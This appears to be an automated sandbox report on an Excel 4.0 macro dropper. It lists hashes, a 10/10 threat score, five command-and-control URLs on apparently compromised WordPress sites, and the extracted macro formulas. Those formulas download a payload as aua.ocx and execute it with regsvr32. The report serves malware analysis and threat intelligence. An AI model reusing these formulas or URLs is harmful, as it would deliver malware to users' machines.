General

  • Target

    4c3fbc30d25e4e32f49415b412f23b1d911bb05e7666b370d3d368c9dc0420d7

  • Size

    69KB

  • Sample

    241120-nma91a1jdr

  • MD5

    7a65ba01dc2bd9152aa21c135ebeff11

  • SHA1

    bb566154c9dadd458595e2e2b9965716d8cecc45

  • SHA256

    4c3fbc30d25e4e32f49415b412f23b1d911bb05e7666b370d3d368c9dc0420d7

  • SHA512

    cccb52a12143c39220306314141bf21c765dc858602d631df2299f30229d0e87627e81a11df90be41695c480d922bae17f406f6c80e56da064fdd1211b07fd83

  • SSDEEP

    1536:tp0b/XHTWhxndhjh/VwBpSZobSex7jB0FfuZibVyg:MzWhxHjh88ZoH7juFuZiQg

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://vasilestudio.com/wp-admin/pZ1vbd5Z/

https://estesgroup.net/New-site-25062021/UkQPppHG9pLNE/

https://robointeligentedecomentarios.com/wp-includes/YBS9a02Y68auiEdP/

https://triclicks.net/wp-admin/bv/

https://thecanadianarab.com/wp-content/VJ/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://vasilestudio.com/wp-admin/pZ1vbd5Z/","..\aua.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://estesgroup.net/New-site-25062021/UkQPppHG9pLNE/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://robointeligentedecomentarios.com/wp-includes/YBS9a02Y68auiEdP/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://triclicks.net/wp-admin/bv/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://thecanadianarab.com/wp-content/VJ/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\aua.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://vasilestudio.com/wp-admin/pZ1vbd5Z/

xlm40.dropper

https://estesgroup.net/New-site-25062021/UkQPppHG9pLNE/

xlm40.dropper

https://robointeligentedecomentarios.com/wp-includes/YBS9a02Y68auiEdP/

xlm40.dropper

https://triclicks.net/wp-admin/bv/

xlm40.dropper

https://thecanadianarab.com/wp-content/VJ/

Targets

    • Target

      4c3fbc30d25e4e32f49415b412f23b1d911bb05e7666b370d3d368c9dc0420d7

    • Size

      69KB

    • MD5

      7a65ba01dc2bd9152aa21c135ebeff11

    • SHA1

      bb566154c9dadd458595e2e2b9965716d8cecc45

    • SHA256

      4c3fbc30d25e4e32f49415b412f23b1d911bb05e7666b370d3d368c9dc0420d7

    • SHA512

      cccb52a12143c39220306314141bf21c765dc858602d631df2299f30229d0e87627e81a11df90be41695c480d922bae17f406f6c80e56da064fdd1211b07fd83

    • SSDEEP

      1536:tp0b/XHTWhxndhjh/VwBpSZobSex7jB0FfuZibVyg:MzWhxHjh88ZoH7juFuZiQg

    Score
    10/10

MITRE ATT&CK Enterprise v15

Tasks